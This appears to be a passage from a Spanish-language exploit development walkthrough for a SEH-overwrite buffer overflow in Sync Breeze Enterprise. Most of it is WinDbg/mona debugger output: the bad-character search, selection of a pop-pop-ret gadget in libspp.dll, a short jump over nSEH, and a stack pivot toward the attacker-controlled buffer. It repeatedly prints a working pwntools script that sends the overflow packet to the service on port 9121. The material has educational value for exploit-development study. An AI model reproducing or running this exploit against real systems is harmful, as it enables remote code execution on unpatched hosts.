"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"  
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"  
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"  
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"  

Done, wrote 255 bytes to file C:\mona\bytearray.txt
Binary output saved in C:\mona\bytearray.bin

badchars  = b""
badchars += b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
badchars += b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"  
badchars += b"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"  
badchars += b"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"  
badchars += b"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"  
badchars += b"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"  
badchars += b"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"  
badchars += b"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"  

Enviamos el exploit y al comparar la dirección con el .bin omite 0x00 y el byte 0x01 no cambia sin embargo parece que 0x02 no se llega a escribir correctamente en el stack por lo que el propio mona nos lo sugiere como un posible badchar

0:000> ? poi(esp + 8) + 8
Evaluate expression: 29622092 = 01c3ff4c

0:000> !py mona compare -f C:\mona\bytearray.bin -a 01c3ff4c
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py compare -f C:\mona\bytearray.bin -a 01c3ff4c  
[+] Reading file C:\mona\bytearray.bin...
    Read 255 bytes from file
[+] Preparing output file 'compare.txt'
    - (Re)setting logfile C:\mona\compare.txt
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
[+] C:\mona\bytearray.bin has been recognized as RAW bytes.
[+] Fetched 255 bytes successfully from C:\mona\bytearray.bin
    - Comparing 1 location(s)
Comparing bytes from file with memory :
0x01c3ff4c | [+] Comparing with memory at location : 0x01c3ff4c (Stack)
0x01c3ff4c | Only 1 original bytes of 'normal' code found.
0x01c3ff4c |     ,-----------------------------------------------.
0x01c3ff4c |     | Comparison results:                           |
0x01c3ff4c |     |-----------------------------------------------|
0x01c3ff4c |   0 |01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10| File
0x01c3ff4c |     |   00 00 00 4c 07 94 00 00 3d 94 00 b8 37 0c 01| Memory
0x01c3ff4c |  10 |11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20| File
0x01c3ff4c |     |62 3f 94 00 10 ef b5 00 b8 37 0c 01 14 3d 94 00| Memory
0x01c3ff4c |  20 |21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 30| File
0x01c3ff4c |     |10 ef b5 00 00 3d 94 00 c9 fc 93 77 b8 37 0c 01| Memory
0x01c3ff4c |  30 |31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f 40| File
0x01c3ff4c |     |b0 fc 93 77 dc ff c3 01 5e 7c ad 77 b8 37 0c 01| Memory
0x01c3ff4c |  40 |41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50| File
0x01c3ff4c |     |e9 cd af 13 00 00 00 00 00 00 00 00 b8 37 0c 01| Memory
0x01c3ff4c |  50 |51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f 60| File
0x01c3ff4c |     |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c3ff4c |  60 |61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70| File
0x01c3ff4c |     |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c3ff4c |  70 |71 72 73 74 75 76 77 78 79 7a 7b 7c 7d 7e 7f 80| File
0x01c3ff4c |     |00 00 00 00 00 00 00 00 8c ff c3 01 00 00 00 00| Memory
0x01c3ff4c |  80 |81 82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f 90| File
0x01c3ff4c |     |e4 ff c3 01 20 af ae 77 75 fb db 65 00 00 00 00| Memory
0x01c3ff4c |  90 |91 92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f a0| File
0x01c3ff4c |     |ec ff c3 01 2e 7c ad 77 ff ff ff ff 26 8c af 77| Memory
0x01c3ff4c |  a0 |a1 a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af b0| File
0x01c3ff4c |     |00 00 00 00 00 00 00 00 00 3d 94 00 b8 37 0c 01| Memory
0x01c3ff4c |  b0 |b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf c0| File
0x01c3ff4c |     |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c3ff4c |  c0 |c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf d0| File
0x01c3ff4c |     |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c3ff4c |  d0 |d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df e0| File
0x01c3ff4c |     |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c3ff4c |  e0 |e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef f0| File
0x01c3ff4c |     |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c3ff4c |  f0 |f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff   | File
0x01c3ff4c |     |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   | Memory
0x01c3ff4c |     `-----------------------------------------------'
0x01c3ff4c | 
0x01c3ff4c |             | File      | Memory    | Note       
0x01c3ff4c | -------------------------------------------------
0x01c3ff4c | 0 0 1   1   | 01        | 01        | unmodified!
0x01c3ff4c | 1 1 254 254 | 02 ... ff | 00 ... 00 | corrupted  
0x01c3ff4c | 
0x01c3ff4c | Possibly bad chars: 02
0x01c3ff4c | Bytes omitted from input: 00
0x01c3ff4c |

Este proceso se tienen que repetir muchas veces hasta obtener todos los badchars

0:000> !py mona bytearray -cpb '\x00\x02'  

Cuando esto pase mona nos indicara que todos los bytes comparados con el .bin no se han modificado, en este caso esto pasa despues de detectar 6 badchars

0:000> !py mona compare -f C:\mona\bytearray.bin -a 01c2ff4c
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py compare -f C:\mona\bytearray.bin -a 01c2ff4c  
[+] Reading file C:\mona\bytearray.bin...
    Read 249 bytes from file
[+] Preparing output file 'compare.txt'
    - (Re)setting logfile C:\mona\compare.txt
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
    - Comparing 1 location(s)
Comparing bytes from file with memory :
0x01c2ff4c | [+] Comparing with memory at location : 0x01c2ff4c
0x01c2ff4c | !!! Hooray, normal shellcode unmodified !!!
0x01c2ff4c | Bytes omitted from input: 00 02 0a 0d f8 fd


Find Opcode


Repasemos lo que tenemos, cuando ocurre una excepción en esp + 8 se guarda el puntero al siguiente SEH por lo que si lo usamos como dirección de retorno se ejecutara el 0x42424242 como instruccion asm que seria 4 veces inc edx

0:000> !exchain
01bff3fc: ntdll!ExecuteHandler2+44 (77af8ac0)
01bffe0c: libpal!md5_starts+149fb (0096d6eb)
01bfff44: 43434343
Invalid exception stack at 42424242

0:000> dds esp L8
01bff3e8  77af8aa2 ntdll!ExecuteHandler2+0x26
01bff3ec  01bff4e8
01bff3f0  01bfff44
01bff3f4  01bff538
01bff3f8  01bff474
01bff3fc  01bffe0c
01bff400  77af8ac0 ntdll!ExecuteHandler2+0x44
01bff404  01bfff44

Entonces necesitamos quitar 8 bytes o 2 dwords del stack y ejecutar un ret para ejecutar el siguiente SEH como instruccion asm, esto podemos hacerlo con:

pop ???; pop ???; ret;: Eliminara 4 bytes en el primer pop para guardarlo en el registro, 4 bytes en el segundo y al ejecutar el ret ejecutara el siguiente SEH.

add esp, 8; ret;: Parecido al anterior solo que en lugar de guardar 2 dwords en registros hace que el puntero al stack aumente en 8 bytes para ejecutar el ret.


Para encontrar un gadget que ejecute algunas de estas instrucciones primero necesitamos saber que modulos carga el programa que pertenezcan a el y no al sistema para esto podemos usar mona, solo hay 4 modulos 3 de ellos son librerias, sin embargo de estos solo podemos usar 1 ya que el resto tiene como base una dirección que contiene 00 y antes habiamos visto que el null byte era un badchar

0:000> !py mona modules -cm os=false
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py modules -cm os=false

---------- Mona command started on 2024-02-25 09:35:00 (v2.0, rev 635) ----------
[+] Processing arguments and criteria
    - Pointer access level : X
    - Module criteria : ['os=false']
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
----------------------------------------------------------------------------------------------------------------------------------------------
 Module info :
----------------------------------------------------------------------------------------------------------------------------------------------
 Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | CFG   | NXCompat | OS Dll | Version, Modulename & Path, DLLCharacteristics
----------------------------------------------------------------------------------------------------------------------------------------------
 0x00a10000 | 0x00ac4000 | 0x000b4000 | True   | False   | False | False |  False   | False  | -1.0- [libsync.dll] (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libsync.dll) 0x0  
 0x00830000 | 0x00904000 | 0x000d4000 | True   | False   | False | False |  False   | False  | -1.0- [libpal.dll] (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libpal.dll) 0x0
 0x10000000 | 0x10223000 | 0x00223000 | False  | False   | False | False |  False   | False  | -1.0- [libspp.dll] (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll) 0x0
 0x00400000 | 0x00462000 | 0x00062000 | False  | False   | False | False |  False   | False  | -1.0- [syncbrs.exe] (C:\Program Files (x86)\Sync Breeze Enterprise\bin\syncbrs.exe) 0x0  
----------------------------------------------------------------------------------------------------------------------------------------------

[+] Preparing output file 'modules.txt'
    - (Re)setting logfile C:\mona\modules.txt

Ya que tenemos un modulo que no inicia con 00 y no tiene protecciones podemos usar mona para encontrar gadgets que nos ayuden a saltar al siguiente SEH, encontramos varios gadgets y deberiamos poder usar cualquiera de ellos

0:000> !py mona seh -m libspp.dll -cpb '\x00\x02\x0a\x0d\xf8\xfd'
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py seh -m libspp.dll -cpb '\x00\x02\x0a\x0d\xf8\xfd'

---------- Mona command started on 2024-02-25 09:35:22 (v2.0, rev 635) ----------
[+] Processing arguments and criteria
    - Pointer access level : X
    - Only querying modules libspp.dll
    - Bad char filter will be applied to pointers : '\x00\x02\x0a\x0d\xf8\xfd' 
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
[+] Querying 1 modules
    - Querying module libspp.dll
[+] Setting pointer access level criteria to 'R', to increase search results
    New pointer access level : R
[+] Preparing output file 'seh.txt'
    - (Re)setting logfile C:\mona\seh.txt
[+] Writing results to C:\mona\seh.txt
[+] Results : 
0x10132edc : pop ebx # pop edi # ret  |  {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll), 0x0
0x10136ce4 : pop ebx # pop edi # ret  |  {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll), 0x0
0x10137e1b : pop ebx # pop edi # ret  | ascii {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll), 0x0  
0x1013a1ce : pop ebx # pop edi # ret  |  {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll), 0x0
0x10128eb9 : pop esi # pop edi # ret  |  {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll), 0x0
0x1012b7ee : pop esi # pop edi # ret  |  {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll), 0x0
0x1012e6dd : pop esi # pop edi # ret  |  {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll), 0x0
0x1014df0f : pop esi # pop edi # ret  |  {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll), 0x0
0x1015316b : pop esi # pop edi # ret  | ascii {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll), 0x0  
0x10014286 : pop ebx # pop ecx # ret 0x08 |  {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll), 0x0
0x100129c8 : add esp,8 # ret  |  {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll), 0x0
0x1004d738 : add esp,8 # ret  |  {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll), 0x0
0x1004d76d : add esp,8 # ret  |  {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll), 0x0
0x10050be3 : add esp,8 # ret  |  {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll), 0x0
0x10083f4a : add esp,8 # ret  | ascii {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll), 0x0
0x1008c59a : add esp,8 # ret  |  {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll), 0x0
0x1008c5b7 : add esp,8 # ret  |  {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll), 0x0
0x1008e114 : add esp,8 # ret  |  {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll), 0x0
0x1008e12b : add esp,8 # ret  |  {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll), 0x0
0x100b63d2 : add esp,8 # ret  |  {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll), 0x0

... Please wait while I'm processing all remaining results and writing everything to file...
[+] Done. Only the first 20 pointers are shown here. For more pointers, open C:\mona\seh.txt...
    Found a total of 1553 pointers

Nuestro exploit ahora tendra como controlador el puntero a un pop pop ret que eliminara 8 bytes del stack y retornara al puntero del siguiente SEH

#!/usr/bin/python3
from pwn import remote, p32, asm

offset = 124
junk = b"A" * offset

nseh = b"B" * 4
seh = p32(0x10132edc)

payload  = b""
payload += junk
payload += nseh + seh
payload += b"D" * (1000 - len(payload))  

header  = b""
header += p32(0xabba1975)
header += p32(0x3)
header += p32(0x1)
header += p32(len(payload))
header += p32(len(payload))
header += p32(payload[-1])

content = header + payload

shell = remote("Windows", 9121)
shell.sendline(content)

0:000> g
(7cc.778): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=01bff944 ebx=01bff9c4 ecx=00000139 edx=00000302 esi=01bffa0c edi=00000138
eip=008edcce esp=01bff998 ebp=01bffec8 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
libpal!SCA_GetToken+0x4e:
008edcce 88042f          mov     byte ptr [edi+ebp],al      ds:002b:01c00000=??  

0:000> !exchain
01bffe0c: libpal!md5_starts+149fb (0095d6eb)
libspp!SPP_ValueTrend::FormatValueString+f6cc (10132edc)
Invalid exception stack at 42424242

Luego de que el programa corrompe podemos establecer un breakpoint en el pop pop ret, podemos ver en esp + 8 el puntero al siguiente SEH nuevamente

0:000> bp 0x10132edc

0:000> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=10132edc edx=77af8ac0 esi=00000000 edi=00000000  
eip=10132edc esp=01bff3e8 ebp=01bff408 iopl=0         nv up ei pl zr na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246  
libspp!SPP_ValueTrend::FormatValueString+0xf6cc:
10132edc 5b              pop     ebx

0:000> dds esp L4
01bff3e8  77af8aa2
01bff3ec  01bff4e8
01bff3f0  01bfff44
01bff3f4  01bff538

El primer pop elimina 4 bytes del stack, el segundo pop otros 4 bytes y el ret ejecuta lo que esta en la dirección almacenada en esp que es el siguiente SEH que vale 0x42424242 o BBBB que su valor en asm es inc edx repetido 4 veces

0:000> r
eax=00000000 ebx=00000000 ecx=10132edc edx=77af8ac0 esi=00000000 edi=00000000  
eip=10132edc esp=01bff3e8 ebp=01bff408 iopl=0         nv up ei pl zr na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246  
libspp!SPP_ValueTrend::FormatValueString+0xf6cc:
10132edc 5b              pop     ebx

0:000> p
eax=00000000 ebx=77af8aa2 ecx=10132edc edx=77af8ac0 esi=00000000 edi=00000000  
eip=10132edd esp=01bff3ec ebp=01bff408 iopl=0         nv up ei pl zr na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246  
libspp!SPP_ValueTrend::FormatValueString+0xf6cd:
10132edd 5f              pop     edi

0:000> p
eax=00000000 ebx=77af8aa2 ecx=10132edc edx=77af8ac0 esi=00000000 edi=01bff4e8  
eip=10132ede esp=01bff3f0 ebp=01bff408 iopl=0         nv up ei pl zr na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246  
libspp!SPP_ValueTrend::FormatValueString+0xf6ce:
10132ede c3              ret

0:000> p
eax=00000000 ebx=77af8aa2 ecx=10132edc edx=77af8ac0 esi=00000000 edi=01bff4e8  
eip=01bfff44 esp=01bff3f4 ebp=01bff408 iopl=0         nv up ei pl zr na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246  
01bfff44 42              inc     edx

Tenemos una forma de ejecutar codigo, sin embargo una vez que ejecute el 0x42424242 si intenta ejecuta la dirección del controlador como instruccion probablemente corrompa, la solución es saltar esos 8 bytes para llegar a las D's

0:000> dds eip L8
01bfff44  42424242
01bfff48  10132edc
01bfff4c  44444444
01bfff50  44444444
01bfff54  44444444
01bfff58  44444444
01bfff5c  44444444
01bfff60  44444444

Ahora nuestro siguiente SEH toma como valor la instrucción jmp $+8, aunque esta solo pesa 2 bytes (\xeb\x06), necesitamos rellenar a 4 con A's para evitar problemas

#!/usr/bin/python3
from pwn import remote, p32, asm

offset = 124
junk = b"A" * offset

nseh = asm("jmp $+8").ljust(4, b"A")
seh = p32(0x10132edc)

payload  = b""
payload += junk
payload += nseh + seh
payload += b"D" * (1000 - len(payload))  

header  = b""
header += p32(0xabba1975)
header += p32(0x3)
header += p32(0x1)
header += p32(len(payload))
header += p32(len(payload))
header += p32(payload[-1])

content = header + payload

shell = remote("Windows", 9121)
shell.sendline(content)

Enviamos el exploit, ejecutamos el pop pop ret y la siguiente instrucción sera el jmp corto que saltará a 0x01c0ff4c, esta dirección es donde inician las D's

0:000> bp 0x10132edc

0:000> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=10132edc edx=77af8ac0 esi=00000000 edi=00000000  
eip=10132edc esp=01c0f3e8 ebp=01c0f408 iopl=0         nv up ei pl zr na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246  
libspp!SPP_ValueTrend::FormatValueString+0xf6cc:
10132edc 5b              pop     ebx

0:000> pt
eax=00000000 ebx=77af8aa2 ecx=10132edc edx=77af8ac0 esi=00000000 edi=01c0f4e8 
eip=10132ede esp=01c0f3f0 ebp=01c0f408 iopl=0         nv up ei pl zr na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246  
libspp!SPP_ValueTrend::FormatValueString+0xf6ce:
10132ede c3              ret

0:000> p
eax=00000000 ebx=77af8aa2 ecx=10132edc edx=77af8ac0 esi=00000000 edi=01c0f4e8  
eip=01c0ff44 esp=01c0f3f4 ebp=01c0f408 iopl=0         nv up ei pl zr na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246  
01c0ff44 eb06            jmp     01c0ff4c

0:000> dds eip L4
01c0ff44  414106eb
01c0ff48  10132edc libspp!SPP_ValueTrend::FormatValueString+0xf6cc
01c0ff4c  44444444
01c0ff50  44444444

Despues del jmp corto lo siguiente que ejecutara son las D's como instrucción por lo que si en lugar de D's enviamos un shellcode deberiamos poder ejecutarlo

0:000> p
eax=00000000 ebx=77af8aa2 ecx=10132edc edx=77af8ac0 esi=00000000 edi=01c0f4e8  
eip=01c0ff4c esp=01c0f3f4 ebp=01c0f408 iopl=0         nv up ei pl zr na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246  
01c0ff4c 44              inc     esp

0:000> dds eip L4
01c0ff4c  44444444
01c0ff50  44444444
01c0ff54  44444444
01c0ff58  44444444


Stack Pivot


Sin embargo no podemos solo enviar un shellcode ya que si miramos los bytes despues de escribir 180 D's corta la cadena, este espacio no es suficiente para un shellcode por lo que necesitamos buscar una forma de obtener mas espacio

0:000> db eip L100
01c0ff4c  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD  
01c0ff5c  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD  
01c0ff6c  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD  
01c0ff7c  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD  
01c0ff8c  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD  
01c0ff9c  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD  
01c0ffac  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD  
01c0ffbc  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD  
01c0ffcc  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD  
01c0ffdc  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD  
01c0ffec  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD  
01c0fffc  44 44 44 44 ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  DDDD????????????  
01c1000c  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????  
01c1001c  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????  
01c1002c  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????  
01c1003c  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????  

¿Porque se corta la cadena? Esto ocurre debido a que el limite del stack es la dirección 0x01c0e000 por lo que no logra escribir mas allá de esa dirección

0:000> !teb
TEB at 0037e000
    ExceptionList:        01c0f3fc
    StackBase:            01c10000
    StackLimit:           01c0e000
    SubSystemTib:         00000000
    FiberData:            00001e00
    ArbitraryUserPointer: 00000000
    Self:                 0037e000
    EnvironmentPointer:   00000000
    ClientId:             00001adc . 00000918  
    RpcHandle:            00000000
    Tls Storage:          005dbc20
    PEB Address:          0035a000
    LastErrorValue:       0
    LastStatusValue:      c000000d
    Count Owned Locks:    0
    HardErrorMode:        0

Ya que es probable que encontremos la cadena en algun lugar del stack podemos buscar los bytes del del siguiente SEH que son eb 06 41 41 que aparece 2 veces, si sumamos los 8 bytes para saltar la estructura tenemos la dirección de las D's

0:000> s -b 01c0e000 01c10000 eb 06 41 41
01c0fa88  eb 06 41 41 dc 2e 13 10-44 44 44 44 44 44 44 44  ..AA....DDDDDDDD
01c0ff4c  eb 06 41 41 dc 2e 13 10-44 44 44 44 44 44 44 44  ..AA....DDDDDDDD  

0:000> ? 01c0fa88 - esp + 8
Evaluate expression: 1692 = 0000069c

Nuestro exploit se podria ver asi, sumando a esp la diferencia con la dirección donde estan las D's para despues saltar a ellas, sin embargo nos olvidamos de algo importante que es el tamaño de estas instrucciones y el alineamiento de la pila

payload  = b""
payload += junk
payload += nseh + seh
payload += asm("add sp, 0x69c")
payload += asm("jmp esp")
payload += b"D" * (1000 - len(payload))  

El tamaño de el add y el jmp es de 7 bytes, pero para evitar problemas con el alineamiento del stack usaremos un numero divisible entre 4, podemos solo agregar un nop y ahora el tamaño es de 8 bytes que si es divisible entre 4 bytes del dword

❯ python3 -q
>>> from pwn import asm
>>> len(asm("add sp, 0x69c") + asm("jmp esp"))  
7
>>> len(asm("add sp, 0x69c") + asm("jmp esp") + asm("nop"))  
8
>>> 

Entonces al tamaño que teniamos le agregamos 8 bytes que es el tamaño de las instrucciones y nos queda 0x6a4 que será la diferencia entre el esp y las D's

0:000> ? 0x69c + 8
Evaluate expression: 1700 = 000006a4  

payload  = b""
payload += junk
payload += nseh + seh
payload += asm("add sp, 0x6a4")
payload += asm("jmp esp")
payload += asm("nop")
payload += b"D" * (1000 - len(payload))  

Después de ejecutar el add sumando la diferencia ejecutará un jmp esp y como el esp apunta a donde están las D's las ejecutara como instrucciones en ensamblador

0:000> r
eax=00000000 ebx=77af8aa2 ecx=10132edc edx=77af8ac0 esi=00000000 edi=01c1f4e8  
eip=01c1ff4c esp=01c1f3f4 ebp=01c1f408 iopl=0         nv up ei pl zr na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246  
01c1ff4c 6681c4a406      add     sp,6A4h

0:000> p
eax=00000000 ebx=77af8aa2 ecx=10132edc edx=77af8ac0 esi=00000000 edi=01c1f4e8  
